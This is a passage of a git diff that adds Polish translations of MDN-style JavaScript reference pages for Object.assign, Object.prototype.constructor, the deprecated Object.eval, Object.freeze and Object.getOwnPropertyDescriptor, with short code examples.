+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<pre class="brush: js language-js"><code class="language-js"><span class="token keyword">var</span> count <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span>
+
+console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>count<span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays '10'
+</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token punctuation">(</span><span class="token number">17</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays '17'
+</span>
+<span class="token keyword">var</span> x <span class="token operator">=</span> <span class="token number">6</span><span class="token punctuation">;</span>
+
+console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>x<span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays '110'
+</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token punctuation">(</span><span class="token number">254</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token number">16</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays 'fe'
+</span>
+console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // displays '-1010'
+</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span><span class="token punctuation">(</span><span class="token operator">-</span><span class="token number">0xff</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">toString<span class="token punctuation">(</span></span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // displays '-11111111'</span></code></pre>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Number.prototype.toFixed()")}}</li>
+ <li>{{jsxref("Number.prototype.toExponential()")}}</li>
+ <li>{{jsxref("Number.prototype.toPrecision()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/assign/index.html b/files/pl/web/javascript/referencje/obiekty/object/assign/index.html
new file mode 100644
index 0000000000..81e764456a
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/assign/index.html
@@ -0,0 +1,307 @@
+---
+title: Object.assign()
+slug: Web/JavaScript/Referencje/Obiekty/Object/assign
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/assign
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <strong><code>Object.assign()</code></strong> kopiuje wszystkie wartości wyliczalnych własnych właściwości z jednego lub więcej obiektów źródłowych do obiektu docelowego. Zwraca obiekt docelowy.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox">Object.assign(<var>cel</var>, ...<var>zrodla</var>)</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt><code>cel</code></dt>
+ <dd>Obiekt docelowy.</dd>
+ <dt><code>zrodla</code></dt>
+ <dd>Obiekt(y) żródłowe.</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>Obiekt docelowy.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Właściwości w obiekcie docelowym zostaną nadpisane właściwościami obiektów źródłowych, jeśli właściwości te mają takie same nazwy. Właściwości obiektów źródłowych występujących później na liście argumentów, podobnie, nadpiszą właściwości obiektów występujących wcześniej.</p>
+
+<p>Metoda <code>Object.assign()</code> jedynie kopiuje <em>wyliczalne</em> i <em>własne</em> właściwości z obiektów źródłowych do obiektu docelowego. Używa do tego <code>[[Get]]</code> na źródle oraz <code>[[Set]]</code> na obiekcie docelowym, więc wywołuje gettery i settery odpowiednich obiektów. Dlatego też mowa tu o <em>przypisaniu</em> właściwości, a nie o ich kopiowaniu czy tworzeniu nowych. Metoda ta może być więc nieodpowiednia do przyłączania nowych właściwości do prototypu, w przypadku gdy źródła przyłączenia zawierają gettery. Do kopiowania definicji właściwości, wliczając ich wyliczalność, do prototypów należy użyć {{jsxref("Object.getOwnPropertyDescriptor()")}} oraz {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Obie właściwości {{jsxref("String")}} jak i {{jsxref("Symbol")}} są kopiowane.</p>
+
+<p>W przypadku błędu, na przykład gdy wartość jest zabezpieczona przed zapisem, zostanie rzucony błąd {{jsxref("TypeError")}}, a obiekt docelowy może zostać zmieniony, jeśli jakieś właściwości zostały do niego dodane przed wystąpieniem błędu.</p>
+
+<p>Zauważ, że <code>Object.assign()</code> nie rzuci błędu, gdy źródłem jest {{jsxref("null")}} lub {{jsxref("undefined")}}.</p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Klonowanie_obiektu">Klonowanie obiektu</h3>
+
+<pre class="brush: js">var obiekt = { a: 1 };
+var kopia = Object.assign({}, obiekt);
+console.log(kopia); // { a: 1 }
+</pre>
+
+<h3 id="Deep_Clone" name="Deep_Clone">Ostrzeżenie przed Głębokim Klonowaniem</h3>
+
+<p>W przypadku głębokiego klonowania musimy użyć innych sposóbów, ponieważ <code>Object.assign()</code> kopiuje jedynie wartości przechowywane we właściwościach. Jeżeli właściwość źródłowa jest referencją do obiektu, to skopiowana zostanie jedynie ta referencja (wówczas zarówno źródło jak i cel będą posiadać referencję do tego samego obiektu, a nie osobne kopie tych obiektów).</p>
+
+<pre><code>function test() {
+ 'use strict';
+
+ let obj1 = { a: 0 , b: { c: 0}}; // a: wartość, b: referencja, c: wartość
+ let obj2 = Object.assign({}, obj1);
+ console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+ obj1.a = 1; // zmiana wartości, dotyczy tylko obj1
+ console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+ console.log(JSON.stringify(obj2)); // { a: 0, b: { c: 0}}
+
+ obj2.a = 2; // zmiana wartości, dotyczy tylko obj2
+ console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 0}}
+ console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 0}}
+
+ obj2.b.c = 3; // zmiana wartości w obiekcie o współdzielonej referencji
+ console.log(JSON.stringify(obj1)); // { a: 1, b: { c: 3}} // teraz b.c == 3
+ console.log(JSON.stringify(obj2)); // { a: 2, b: { c: 3}} // i tu też b.c == 3, bo obj1.b === obj2.b
+
+ // Klonowanie głębokie
+ obj1 = { a: 0 , b: { c: 0}};
+ let obj3 = JSON.parse(JSON.stringify(obj1));
+ obj1.a = 4;
+ obj1.b.c = 4;
+ console.log(JSON.stringify(obj3)); // { a: 0, b: { c: 0}} // obj1.b !== obj2.b
+}
+
+test();</code></pre>
+
+<h3 id="Łączenie_obiektów">Łączenie obiektów</h3>
+
+<pre class="brush: js">var o1 = { a: 1 };
+var o2 = { b: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign(o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }
+console.log(o1); // { a: 1, b: 2, c: 3 }, sam obiekt docelowy został zmieniony.</pre>
+
+<h3 id="Łączenie_obiektów_z_tymi_samymi_właściowściami">Łączenie obiektów z tymi samymi właściowściami</h3>
+
+<pre class="brush: js">var o1 = { a: 1, b: 1, c: 1 };
+var o2 = { b: 2, c: 2 };
+var o3 = { c: 3 };
+
+var obj = Object.assign({}, o1, o2, o3);
+console.log(obj); // { a: 1, b: 2, c: 3 }</pre>
+
+<p>Właściwość jest nadpisywana przez ostatni obiekt w liście parametrów, który ma taką samą właściwość.</p>
+
+<h3 id="Kopiowanie_właściwości-symboli">Kopiowanie właściwości-symboli</h3>
+
+<pre class="brush: js">var o1 = { a: 1 };
+var o2 = { [Symbol('foo')]: 2 };
+
+var obj = Object.assign({}, o1, o2);
+console.log(obj); // { a : 1, [Symbol("foo")]: 2 } (cf. bug 1207182 on Firefox)
+Object.getOwnPropertySymbols(obj); // [Symbol(foo)]
+</pre>
+
+<h3 id="Właściwości_nieprzeliczalne_oraz_te_z_łańcucha_prototypów_nie_są_kopiowane">Właściwości nieprzeliczalne oraz te z łańcucha prototypów nie są kopiowane</h3>
+
+<pre class="brush: js">var obj = Object.create({ foo: 1 }, { // foo jest właściwością prototypu obiektu obj
+ bar: {
+ value: 2 // bar jest nieprzeliczalną właściwością
+ },
+ baz: {
+ value: 3,
+ enumerable: true // baz jest własną, przeliczalną właściwością obiektu obj
+ }
+});
+
+var kopia = Object.assign({}, obj);
+console.log(kopia); // { baz: 3 }
+</pre>
+
+<h3 id="Wartości_podstawowe_zostaną_włożone_do_ich_wrapperów">Wartości podstawowe zostaną włożone do ich wrapperów</h3>
+
+<pre class="brush: js">var v1 = 'abc';
+var v2 = true;
+var v3 = 10;
+var v4 = Symbol('foo');
+
+var obj = Object.assign({}, v1, null, v2, undefined, v3, v4);
+// Wartości podstawowe będą we wrapperach, null i undefined zostaną zignorowane.
+// Zauważ, że jedynie wrapper string'a ma przeliczalne właściwości:
+console.log(obj); // { "0": "a", "1": "b", "2": "c" }
+</pre>
+
+<h3 id="Wyjątki_przerwą_wykonywanie_kopiowania">Wyjątki przerwą wykonywanie kopiowania</h3>
+
+<pre class="brush: js">var cel = Object.defineProperty({}, 'foo', {
+ value: 1,
+ writable: false
+}); // cel.foo jest właściwością tylko do odczytu
+
+Object.assign(cel, { bar: 2 }, { foo2: 3, foo: 3, foo3: 3 }, { baz: 4 });
+// TypeError: "foo" is read-only
+// Wyjątek został wyrzucony podczas próby zapisania cel.foo
+
+console.log(cel.bar); // 2, pierwsze źródło zostało skopiowane pomyślnie
+console.log(cel.foo2); // 3, pierwsza właściwość drugiego źródła zostało skopiowana pomyślnie
+console.log(cel.foo); // 1, tutaj został wyrzucony wyjątek
+console.log(cel.foo3); // undefined, kopiowanie dobiegło końca, foo3 nie zostanie skopiowane
+console.log(cel.baz); // undefined, trzecie źródło również nie zostanie skopiowane
+</pre>
+
+<h3 id="Kopiowanie_operatorów_pamięci">Kopiowanie operatorów pamięci</h3>
+
+<pre class="brush: js">var obj = {
+ foo: 1,
+ get bar() {
+ return 2;
+ }
+};
+
+var kopia = Object.assign({}, obj);
+console.log(kopia);
+// { foo: 1, bar: 2 }, wartość kopia.bar jest wartością zwracaną przez metodę getter właściwości obj.bar
+
+// Funkcja przypisania kopiująca całe deskryptory:
+function completeAssign(cel, ...zrodla) {
+ zrodla.forEach(zrodlo =&gt; {
+  let deskryptory = Object.keys(zrodlo).reduce((deskryptory, klucz) =&gt; {
+  deskryptory[klucz] = Object.getOwnPropertyDescriptor(zrodlo, klucz);
+  return deskryptory;
+  }, {});
+  // domyślnie Object.assign kopiuje również przeliczalne symbole
+  Object.getOwnPropertySymbols(zrodlo).forEach(sym =&gt; {
+  let deskryptor = Object.getOwnPropertyDescriptor(zrodlo, sym);
+  if (deskryptor.enumerable) {
+  deskryptory[sym] = deskryptor;
+  }
+  });
+ Object.defineProperties(cel, deskryptory);
+ });
+ return target;
+}
+
+var kopia = completeAssign({}, obj);
+console.log(kopia);
+// { foo:1, get bar() { return 2 } }
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Ten {{Glossary("Polyfill","polyfill")}} nie wspiera właściwości-symboli, ponieważ ES5 i tak ich nie ma.</p>
+
+<pre class="brush: js">if (typeof Object.assign != 'function') {
+  Object.assign = function(target, varArgs) { // .length of function is 2
+    'use strict';
+    if (target == null) { // TypeError if undefined or null
+      throw new TypeError('Cannot convert undefined or null to object');
+    }
+
+    var to = Object(target);
+
+    for (var index = 1; index &lt; arguments.length; index++) {
+      var nextSource = arguments[index];
+
+      if (nextSource != null) { // Skip over if undefined or null
+        for (var nextKey in nextSource) {
+ // Avoid bugs when hasOwnProperty is shadowed
+          if (Object.prototype.hasOwnProperty.call(nextSource, nextKey)) {
+            to[nextKey] = nextSource[nextKey];
+          }
+        }
+      }
+    }
+    return to;
+  };
+}
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-object.assign', 'Object.assign')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.assign', 'Object.assign')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarką">Kompatybilność z przeglądarką</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Edge</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome("45")}}</td>
+ <td>{{CompatGeckoDesktop("34")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatOpera("32")}}</td>
+ <td>{{CompatSafari("9")}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome("45")}}</td>
+ <td>{{CompatGeckoMobile("34")}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li>{{jsxref("Object.defineProperties()")}}</li>
+ <li><a href="/pl/docs/Web/JavaScript/Enumerability_and_ownership_of_properties">Przeliczalność i własność właściwości</a></li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html b/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html
new file mode 100644
index 0000000000..3de20f1350
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/constructor/index.html
@@ -0,0 +1,49 @@
+---
+title: Object.prototype.constructor
+slug: Web/JavaScript/Referencje/Obiekty/Object/constructor
+tags:
+ - JavaScript
+ - Object
+ - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/constructor
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Określa funkcję tworzącą prototyp obiektu. Należy pamiętać, że wartość tej własności jest referencją do funkcji, a nie łańcuchem znaków zawierającym jej nazwę.</p>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Wszystkie obiekty dziedziczą własność <code>constructor</code> z ich prototypu (<code>prototype</code>):</p>
+
+<pre class="brush: js">var o = {};
+o.constructor === Object; // true
+
+var a = [];
+a.constructor === Array; // true
+
+var n = new Number(3);
+n.constructor === Number; // true
+</pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Wy.C5.9Bwietlanie_konstruktora_obiektu" name="Przyk.C5.82ad:_Wy.C5.9Bwietlanie_konstruktora_obiektu">Przykład: Wyświetlanie konstruktora obiektu</h3>
+
+<p>Poniższy przykład tworzy prototyp, <code>Drzewo</code> i obiekt tego typu <code>sosna</code>. Następnie wyświetlana jest własność <code>constructor</code> obiektu <code>Drzewo</code>.</p>
+
+<pre class="brush: js">function Drzewo(nazwa) {
+ this.nazwa=nazwa;
+}
+
+sosna = new Drzewo("sosna");
+console.log("sosna.constructor to " + sosna.constructor)
+</pre>
+
+<p>Przykład ten wyświetla:</p>
+
+<pre>sosna.constructor to function Drzewo(nazwa) {
+ this.nazwa = nazwa;
+}
+</pre>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/eval/index.html b/files/pl/web/javascript/referencje/obiekty/object/eval/index.html
new file mode 100644
index 0000000000..7f8b355d65
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/eval/index.html
@@ -0,0 +1,64 @@
+---
+title: Object.prototype.eval()
+slug: Web/JavaScript/Referencje/Obiekty/Object/eval
+tags:
+ - Dokumentacja_JavaScript
+ - Dokumentacje
+ - JavaScript
+ - Wszystkie_kategorie
+translation_of: Archive/Web/JavaScript/Object.eval
+---
+<p>{{ Deprecated_header() }}</p>
+
+<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3>
+
+<p>Metoda przestarzała. Wykonuje kod JavaScriptu zawarty w łańcuchu znaków w kontekście danego obiektu.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header" colspan="2">Metoda obiektu: <a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Obiekty/Object">Object</a></td>
+ </tr>
+ <tr>
+ <td>Zaimplementowana w:</td>
+ <td>JavaScript 1.1, NES2.0
+ <p>JavaScript 1.2, NES 3.0: przestarzała jako metoda obiektów, pozostawiona jako funkcja najwyższego poziomu.</p>
+
+ <p>JavaScript 1.4: usunięta jako metoda obiektów.</p>
+ </td>
+ </tr>
+ </tbody>
+</table>
+
+<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3>
+
+<p><code>eval(
+ <i>łańcuch znaków</i>
+ ) </code></p>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>łańcuch znaków</code> </dt>
+ <dd>dowolny łańcuch znaków reprezentujący wyrażenie, polecenie lub sekwencję poleceń JavaScriptu. Wyrażenie może zawierać zmienne i własności istniejących obiektów.</dd>
+</dl>
+
+<h3 id="Opis" name="Opis">Opis</h3>
+
+<p>Metoda <code>eval</code> nie jest już dostępna jako metoda obiektu <code>Object</code>. Należy używać funkcji najwyższego rzędu <code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/eval">eval</a></code>.</p>
+
+<h3 id="Zgodno.C5.9B.C4.87_wsteczna" name="Zgodno.C5.9B.C4.87_wsteczna">Zgodność wsteczna</h3>
+
+<h4 id="JavaScript_1.2_i_1.3" name="JavaScript_1.2_i_1.3">JavaScript 1.2 i 1.3</h4>
+
+<p><code>eval</code> jako metoda obiektu <code>Object</code> i każdego obiektu dziedziczącego po <code>Object</code> jest przestarzała (ale nadal dostępna).</p>
+
+<h4 id="JavaScript_1.1" name="JavaScript_1.1">JavaScript 1.1</h4>
+
+<p><code>eval</code> jest dostępna jako metoda obiektu <code>Object</code> i każdego obiektu dziedziczącego po <code>Object</code>.</p>
+
+<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3>
+
+<p><code><a href="pl/Dokumentacja_j%c4%99zyka_JavaScript_1.5/Funkcje/eval">eval</a></code></p>
+
+<p>{{ languages( { "en": "en/Core_JavaScript_1.5_Reference/Global_Objects/Object/eval", "ja": "ja/Core_JavaScript_1.5_Reference/Global_Objects/Object/eval" } ) }}</p>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html b/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html
new file mode 100644
index 0000000000..73e0139f31
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/freeze/index.html
@@ -0,0 +1,201 @@
+---
+title: Object.freeze()
+slug: Web/JavaScript/Referencje/Obiekty/Object/freeze
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/freeze
+---
+<div>{{JSRef}}</div>
+
+<div>Metoda <code><strong>Object.freeze()</strong> </code>"zamraża" obiekt, tzn. uniemożliwia dodawania nowych właściwości do obiektu; uniemożliwia usuwanie istniejących właściwości; uniemożliwia zmianę istniejących właściwości; oraz uniemożliwia zmianę prototypu obiektu. W efekcie obiekt jest naprawdę stały. Metoda zwraca obiekt w stanie "zamrożonym".</div>
+
+<div> </div>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Object.freeze(<var>obj</var>)</code></pre>
+
+<h3 id="Argumenty">Argumenty</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Obiekt który ma zostać "zamrożony".</dd>
+</dl>
+
+<h3 id="Zwracana_wartość">Zwracana wartość</h3>
+
+<p>"Zamrożony" obiekt.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Nic nie może zostać dodane ani usunięte z "zamrożonego" obiektu. Każda próba tego wywoła błąd, albo po cichu, albo rzucając wyjątek {{jsxref("TypeError")}}(zawzwyczaj, choć nie zawsze, w przypadku używania {{jsxref("Strict_mode", "strict mode", "", 1)}}).</p>
+
+<p>Nie ma możliwości zmiany wartości właściwości obiektu. Metody dostępu (gettery i settery) działają bez zmian (sprawiają wrażenie skutecznej zmiany właściwości obiektu). Zwróć uwagę na to, że wartości, które są obiektami w dalszym ciągu mogą być modyfikowane, chyba że również są "zamrożone". Z uwagi na to, że Tablica (Array) jest obiektem, również może zostać zamrożona co uniemożliwi zmianę jej elementów, ich usuwanie oraz dodawanie nowych. </p>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p> </p>
+
+<h3 id="Zamrażanie_Obiektów">Zamrażanie Obiektów</h3>
+
+<p> </p>
+
+<pre class="brush: js">var obj = {
+ prop: function() {},
+ foo: 'bar'
+};
+
+// Nowe właściwości mogą być dodawane, istniejące mogą być zmieniane oraz usuwane
+obj.foo = 'baz';
+obj.lumpy = 'woof';
+delete obj.prop;
+
+// Zarówno obiekt przekazywany w funkcji freeze() jak i obiekt zwracany bedą "zamrożone"
+// Nie ma potrzeby przypisywania zwracanego obiektu do zmiennej jeśli chcemy tylko "zamrozić" obiekt przekazywany w funkcji
+var o = Object.freeze(obj);
+
+o === obj; // true
+Object.isFrozen(obj); // === true
+
+// Teraz wszelkie zmiany są niemożliwe
+obj.foo = 'quux'; // brak rezultatu nieskutkujący wyświetleniem błędu
+obj.quaxxor = 'the friendly duck'; // brak rezultatu nieskutkujący wyświetleniem błędu
+
+// przy strict mode tego typu próby spowodują wyświetlenie komunikatu o błędzie
+function fail(){
+ 'use strict';
+ obj.foo = 'sparky'; // TypeError
+ delete obj.quaxxor; // TypeError
+ obj.sparky = 'arf'; // TypeError
+}
+
+fail();
+
+// Próby zmian poprzez Object.defineProperty spowodują wyświetlenie komunikatu o błędzie
+Object.defineProperty(obj, 'ohai', { value: 17 }); // TypeError
+Object.defineProperty(obj, 'foo', { value: 'eit' }); // TypeError
+
+// Niemożliwa jest również zmiana prototypu obiektu. Obie instrukcje poniżej wygenerują błąd
+Object.setPrototypeOf(obj, { x: 20})
+obj.__proto__ = { x: 20}
+</pre>
+
+<h3 id="Zamrażanie_Tablic_(Array)">Zamrażanie Tablic (Array)</h3>
+
+<p> </p>
+
+<pre class="brush: js"><code>let a = [0];
+Object.freeze(a); // Tablica nie może być teraz modyfikowana
+
+a[0]=1; // brak rezultatu nieskutkujący wyświetleniem błędu
+a.push(2); // brak rezultatu nieskutkujący wyświetleniem błędu
+
+// </code>przy strict mode tego typu próby spowodują wyświetlenie komunikatu o błędzie<code> TypeErrors
+function fail() {
+ "use strict"
+ a[0] = 1;
+ a.push(2);
+}
+
+fail();</code></pre>
+
+<p>"Zamrożony" obiekt jest <em>niemutowalny</em>. Nie jest on jednak <em>stałą</em>. Obrazuje to poniższy przykład.</p>
+
+<pre class="brush: js"><code>obj1 = {
+ internal: {}
+};
+
+Object.freeze(obj1);
+obj1.internal.a = 'aValue';
+
+obj1.internal.a // 'aValue'</code>
+</pre>
+
+<p> </p>
+
+<p>To be a constant object, the entire reference graph (direct and indirect references to other objects) must reference only immutable frozen objects.  The object being frozen is said to be immutable because the entire object <em>state </em>(values and references to other objects) within the whole object is fixed.  Note that strings, numbers, and booleans are always immutable and that Functions and Arrays are objects. </p>
+
+<p>To make an object constant, recursively freeze each property which is of type object (deep freeze).  Use the pattern on a case-by-case basis based on your design when you know the object contains no <em><a href="https://en.wikipedia.org/wiki/Cycle_(graph_theory)">cycles</a> </em>in the reference graph, otherwise an endless loop will be triggered.   An enhancement to deepFreeze() would be to have an internal function that receives a path (e.g. an Array) argument so you can supress calling deepFreeze() recursively when an object is in the process of being made constant.  You still run a risk of freezing an object that shouldn't be frozen, such as [window].</p>
+
+<pre class="brush: js"><code>// To do so, we use this function.
+function deepFreeze(obj) {
+
+ // Retrieve the property names defined on obj
+ var propNames = Object.getOwnPropertyNames(obj);
+
+ // Freeze properties before freezing self
+ propNames.forEach(function(name) {
+ var prop = obj[name];
+
+ // Freeze prop if it is an object
+ if (typeof prop == 'object' &amp;&amp; prop !== null)
+ deepFreeze(prop);
+ });
+
+ // Freeze self (no-op if already frozen)
+ return Object.freeze(obj);
+}
+
+obj2 = {
+ internal: {}
+};
+
+deepFreeze(obj2);
+obj2.internal.a = 'anotherValue';
+obj2.internal.a; // unde</code></pre>
+
+<p> </p>
+
+<p> </p>
+
+<h2 id="Notes">Notes</h2>
+
+<p>In ES5, if the argument to this method is not an object (a primitive), then it will cause a {{jsxref("TypeError")}}. In ES2015, a non-object argument will be treated as if it were a frozen ordinary object, and be simply returned.</p>
+
+<pre class="brush: js">&gt; Object.freeze(1)
+TypeError: 1 is not an object // ES5 code
+
+&gt; Object.freeze(1)
+1 // ES2015 code
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.2.3.9', 'Object.freeze')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Initial definition. Implemented in JavaScript 1.8.5.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-object.freeze', 'Object.freeze')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-object.freeze', 'Object.freeze')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<p>{{Compat("javascript.builtins.Object.freeze")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Object.isFrozen()")}}</li>
+ <li>{{jsxref("Object.preventExtensions()")}}</li>
+ <li>{{jsxref("Object.isExtensible()")}}</li>
+ <li>{{jsxref("Object.seal()")}}</li>
+ <li>{{jsxref("Object.isSealed()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html b/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html
new file mode 100644
index 0000000000..3f9498b26e
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/object/getownpropertydescriptor/index.html
@@ -0,0 +1,121 @@
+---
+title: Object.getOwnPropertyDescriptor()
+slug: Web/JavaScript/Referencje/Obiekty/Object/getOwnPropertyDescriptor
+translation_of: Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor
+---
+<div>{{JSRef}}</div>
+
+<p>Metoda <code><strong>Object.getOwnPropertyDescriptor()</strong></code> zwraca deskryptor definiujący stan właściwości (właściwość musi być zdefiniowana bezpośrednio na obiekcie, ponieważ metoda nie sprawdza właściwości w łańcuchu prototypów obiektu) dla podanego obiektu.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>Object.getOwnPropertyDescriptor(<var>obj</var>, <var>prop</var>)</code></pre>
+
+<h3 id="Argumenty">Argumenty</h3>
+
+<dl>
+ <dt><code>obj</code></dt>
+ <dd>Obiekt, w którym będzie poszukiwana właściwość.</dd>
+ <dt><code>prop</code></dt>
+ <dd>Nazwa właściwości, dla której będzie pobrany deskryptor.</dd>
+</dl>
+
+<h3 id="Wartość_zwracana">Wartość zwracana</h3>
+
+<p>Jeżeli obiekt posiada podaną właściwość, wówczas zostanie zwrócony jej deskryptor, w przeciwnym razie zostanie zwrócony {{jsxref("undefined")}}.</p>
+
+<h2 id="Opis">Opis</h2>
+
+<p>Metoda ta pozwala na dokładne zbadanie stanu właściwości. W rzeczywistości właściwość obiektu w JavaScript to nie tylko jej nazwa oraz wartość ale również odpowiadający jej deskryptor. Więcej informacji o atrybutach deskryptora można znaleźć w {{jsxref("Object.defineProperty()")}}.</p>
+
+<p>Deskryptor właściwości jest obiektem zawierającym poniższe atrybuty:</p>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Wartość związana z odpowiadającą właściwością (tylko dla deskryptorów danych).</dd>
+ <dt><code><strong>writable</strong></code></dt>
